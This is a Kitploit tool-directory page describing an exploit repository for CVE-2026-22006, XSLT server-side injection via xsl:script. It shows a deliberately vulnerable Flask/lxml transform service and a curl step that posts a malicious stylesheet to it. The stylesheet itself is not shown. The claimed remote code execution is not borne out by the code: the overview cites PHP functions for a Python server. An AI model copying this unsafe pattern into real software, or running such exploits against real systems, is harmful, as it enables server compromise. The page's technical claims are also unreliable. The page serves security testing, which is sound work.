Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-22006-XSLT-Server-Side-Injection-via-xsl-script- | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-22006-xslt-server-side-injection-via-xsl-script-
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubgeorge0papasotiriou/cve-2026-22006-xslt-server-side-injection-via-xsl-script-

CVE-2026-22006-XSLT-Server-Side-Injection-via-xsl-script-

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
15 days agoNot yet reviewed

CVE-2026-22006 – XSLT Server‑Side Injection via xsl:script

Program Code (Python + XSLT)

root@kitploit:~
# xslt_server.py - Applies user-supplied XSLT to XML
from lxml import etree
from flask import Flask, request

app = Flask(__name__)
@app.route('/transform', methods=['POST'])
def transform():
    xml = request.form['xml']
    xslt = request.form['xslt']
    xml_doc = etree.fromstring(xml.encode())
    xslt_doc = etree.fromstring(xslt.encode())
    transform = etree.XSLT(xslt_doc)
    result = transform(xml_doc)
    return str(result)

if __name__ == '__main__':
    app.run(port=5000)

CVE-2026-22006 – XSLT Server‑Side Injection via xsl:script

Severity: Critical

Overview

An XML transformation service accepts untrusted XSLT stylesheets and applies them without disabling scripting extensions. An attacker can embed xsl:script or processor‑specific functions (e.g., PHP’s php:function) to execute arbitrary code on the server.

Vulnerability Details

  • Type: Code Injection
  • Impact: Remote Code Execution.
  • Root Cause: The XSLT processor is configured with extension functions enabled, allowing direct calls to system commands.

Exploit Demonstration

  1. Start the server:
    root@kitploit:~
    pip install flask lxml
    python xslt_server.py
    
  2. Send a malicious XSLT with the XML:
    root@kitploit:~
    curl -X POST -d "xml=<root/>" --data-urlencode "[email protected]" http://localhost:5000/transform
    

The server returns the output of id.

Download Tool